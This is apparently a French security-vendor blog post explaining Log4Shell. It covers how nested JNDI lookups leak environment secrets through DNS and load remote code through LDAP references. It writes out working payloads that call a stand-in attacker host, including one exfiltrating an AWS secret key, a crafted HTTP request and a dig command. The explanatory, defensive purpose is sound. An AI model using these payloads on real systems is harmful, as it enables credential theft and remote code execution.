Rétrospective de Log4j, partie 2 : les exploitations de l'extraction de données et de l'exécution de code à distance

Dans cet exemple, imaginez que l'attaquant possède le nom de domaine : malware.example.

Remarque : nous utilisons un nom de domaine de niveau supérieur .example pour éviter de référencer un nom de domaine réel dans ce document, mais le lecteur doit imaginer qu'il peut être remplacé par n'importe quel nom de domaine acheté par un attaquant.

Ensuite, imaginez qu'un attaquant ait la possibilité de manipuler le texte envoyé à Log4j.  Nous verrons comment cela peut se produire plus tard dans cet article. Dans cet exemple, supposons que le texte se présente comme suit :

« Enregistrer ceci : ${jndi:dns://127.0.0.1:53/${env:USER}.malware.example} »

Suivant les principes d'imbrication décrits plus haut, Log4j évaluera d'abord ${env:USER}, ce qui entraîne une recherche de l'utilisateur exécutant le logiciel. Imaginons que ce soit à nouveau Administrateur. Log4j le remplacera ensuite dans le texte qui produit cette ligne de journal provisoire :

« Enregistrer ceci : ${jndi:dns://127.0.0.1:53/Administrator.malware.example} »

Cette ligne contient toujours une expression de recherche :

${jndi:dns://127.0.0.1:53/Administrator.malware.example}

Log4j voit cette expression de recherche basée sur JNDI, analyse la pseudo URL de dns://127.0.0.1:53/Administrator.malware.example, et la passe dans JNDI. JNDI reconnaît cette pseudo URL comme nécessitant le fournisseur DNS et effectue une recherche DNS à l'aide du programme de résolution localhost pour Administrator.malware.example.

Comme malware.example appartient à l'acteur malveillant, la requête DNS pour Administrator.malware.example atteint son serveur DNS faisant autorité. En observant la requête DNS, la partie malveillante a maintenant découvert que le logiciel utilisant le code Log4j vulnérable s'exécute en tant qu'utilisateur Administrateur.

Cela illustre la façon dont les données peuvent facilement fuir d'un environnement si des charges utiles soigneusement conçues sont fournies à Log4j. Et si la divulgation de l'utilisateur en cours d'exécution est déjà une mauvaise chose, il existe des informations bien plus dangereuses et secrètes qui risquent d'être révélées.

Par exemple (et ce cas a été observé), réfléchissez à ce qui se passe si nous remplaçons ${env:USER} ci-dessus par ${env:AWS_SECRET_ACCESS_KEY}, ce qui produit la chaîne suivante :

« Enregistrer ceci : ${jndi:dns://127.0.0.1:53/${env:AWS_SECRET_ACCESS_KEY}.malware.example} »

Suivant la logique précédente, une requête DNS arrive sur le serveur DNS faisant autorité appartenant à l'acteur malveillant, qui contient la clé d'accès secrète AWS pour l'environnement Amazon dans lequel le code Log4j est exécuté. Une fuite d'informations comme celle-ci peut compromettre les instances AWS.

Toute information se trouvant dans l'environnement du logiciel exécutant le code vulnérable et accessible via une expression de recherche dans Log4j peut facilement être imbriquée et forcée à parvenir à un système contrôlé par un attaquant.

Si tout cela fait déjà froid dans le dos, cela ne s'arrête pas là.

Exécution de code à distance 

Il s'avère que l'implémentation de JNDI dans certaines versions de Java permet par défaut à certains services d'annuaire de répondre aux requêtes, à la fois directement et indirectement, avec du code distant que la machine, qui effectue la requête, exécute ensuite localement.

Par exemple, le fournisseur de services d'annuaire LDAP sur les installations vulnérables permet à un serveur LDAP de répondre à une requête avec ce qu'on appelle une référence. Cette référence répertorie l'emplacement distant du code à télécharger et à exécuter localement.

Si cela peut sembler fou au premier abord, il existe des utilisations valables dans des environnements hautement contrôlés où le serveur LDAP et l'infrastructure associée sont de confiance. Les problèmes surviennent lorsqu'un attaquant peut diriger la machine requérante vers un serveur LDAP non fiable qu'il contrôle. L'attaquant peut alors renvoyer des références à un code malveillant que JNDI téléchargera et exécutera scrupuleusement sur la machine hôte.

Comme les instances vulnérables de Log4j permettent un accès illimité à JNDI par le biais d'expressions de recherche, le chargement et l'exécution de code distant peuvent être réalisés par le biais de lignes de journal soigneusement rédigées. Jetez un œil au message suivant envoyé à Log4j :

« Enregistrer ceci : ${jndi:ldap://rce.malware.example/a} »

Sur les systèmes vulnérables, Log4j voit l'expression de recherche ${jndi:ldap://rce.malware.example/a} et extrait la pseudo URL JNDI, ldap://rce.malware.example/a, pour la passer dans JNDI afin de la traiter. JNDI constate que cette URL utilise le fournisseur de services d'annuaire LDAP et envoie une requête LDAP au site rce.malware.example .

Comme rce.malware.example est détenue et mise en œuvre par la partie malveillante, elle renvoie une charge utile de référence comme réponse LDAP qui ressemble à ce qui suit :

dn:

javaClassName: exploit

javaCodeBase: http://rce.malware.com/exploit/

objectClass: javaNamingReference

javaFactory: exploitFactory

JNDI, à la réception de cette réponse, se connecte à l'URL du serveur Web de http://rce.malware.com/exploit/ et télécharge la charge utile malveillante associée d'exécution de code à distance, pour finalement l'exécuter sur le système exécutant Log4j.

Surface de menace

Ces attaques effrayantes nécessitent toutes la transmission de messages spécialement conçus à Log4j. La question est donc la suivante : comment un attaquant peut-il y arriver ?  La réponse est en tirant parti de toutes les occasions où l'information qu'ils fournissent peut être enregistrée.

Actuellement, le vecteur d'attaque le plus courant est de s'en prendre aux applications basées sur le Web. De nombreuses applications de ce type consignent les interactions avec les utilisateurs finaux qui visitent le site. Elles peuvent, par exemple, consigner le chemin demandé, ainsi que l'agent utilisateur, l'heure et le résultat de la requête.

En sachant cela, un attaquant peut alors se connecter à une application Web et émettre une requête comme celle-ci :

GET /${jndi:ldap://rce.malware.example/a} HTTP/1.1

Hôte : www.webapp.example

Agent utilisateur : ${jndi:dns://127.0.0.1:53/${env:AWS_SECRET_ACCESS_KEY}.malware.example}

L'application Web, en recevant cette requête, analysera le chemin d'accès de /${jndi:ldap://rce.malware.example/a} et l'agent utilisateur de ${jndi:dns://127.0.0.1:53/${env:AWS_SECRET_ACCESS_KEY}.malware.example}et enverra les deux à Log4j. Si elle le fait sur un système vulnérable, la clé d'accès secrète AWS sera divulguée et un code arbitraire sera téléchargé et exécuté.

S'il est vrai que les applications basées sur le Web sont actuellement beaucoup plus ciblées que les autres, il est extrêmement important de rappeler que tous les services qui répondent aux critères suivants peuvent être exploités :

• exécuter Java

• utiliser une version vulnérable de Log4j pour consigner les messages

• consigner un élément fourni par l'attaquant (URL, en-têtes, cookies, requêtes, etc.)

Dans le même ordre d'idées, un autre vecteur qu'Akamai observe dans la nature, bien qu'à un rythme bien moindre que la variante d'application Web, est le DNS. Afin de vérifier s'il existe des programmes de résolution DNS vulnérables, les attaquants émettent des requêtes DNS contenant des charges utiles exploitables. Par exemple, en lançant simplement la recherche DNS suivante à partir de la ligne de commande :

# dig '${jndi:ldap://rce.malware.example/a}.foo.example'

Ceci indique au système sur lequel la commande est exécutée d'émettre une requête DNS au programme de résolution configuré de l'hôte pour la chaîne de recherche Log4j elle-même. Un programme de résolution DNS qui reçoit une telle requête peut la consigner dans un journal, d'autant plus qu'elle contient des caractères non valides. Si ce programme de résolution DNS est basé sur Java et utilise une version vulnérable de la bibliothèque Log4j pour la journalisation, l'exploitation s'exécutera.

Les attaques de ce type ne se limitent pas à la requête. Akamai surveille également l'intégration de la charge utile dans une réponse DNS. De nombreuses requêtes DNS peuvent donner lieu à des réponses contenant des informations autres que des adresses IP, telles que CNAME, TXT, SRV et PTR. Nous constatons que les attaquants manipulent les enregistrements de réponse qu'ils possèdent pour y intégrer des chaînes exploitables, en attaquant les programmes de résolution du côté de la réponse ainsi que les applications qui pourraient enregistrer les résultats de ces recherches.

Et ceci n'est que la partie émergée de l'iceberg, en utilisant des protocoles Internet bien connus. La surface de menace va bien au-delà de ces cas d'utilisation. En fait, des chercheurs en sécurité ont récemment montré que le fait de renommer un iPhone avec une chaîne d'exploitation Log4j vulnérable entraînait le renvoi d'un message par les serveurs de l'infrastructure d'Apple, indiquant que les machines vulnérables traitaient le nom du téléphone.

Pour comprendre le niveau de danger de cette vulnérabilité, nous devons tenir compte du fait que Java s'exécute sur des milliards de terminaux dans le monde et que Log4j est l'une des bibliothèques de journalisation les plus utilisées.  Tout, des serveurs Web aux distributeurs automatiques, pourrait être vulnérable, et dans le cas des terminaux intégrés et de l'IoT, beaucoup pourraient même ne pas avoir la possibilité d'être patchés.

En effet, la surface de menace couvre non seulement le nombre de terminaux exposés à cette attaque, mais aussi le temps pendant lequel ils seront exposés. La combinaison de l'empreinte importante et de la non-adaptabilité de certains composants signifie que cette vulnérabilité sera probablement présente non seulement pendant plusieurs mois, mais aussi potentiellement pendant des années, et qu'elle éclipsera des vulnérabilités antérieures bien connues telles que Shellshock et Heartbleed en termes de surface d'attaque et d'impact.

Et après ?

Ne manquez pas la troisième partie, qui détaillera l'évolution des attaques et les mesures d'atténuation disponibles pour protéger votre organisation dans cet environnement en constante évolution.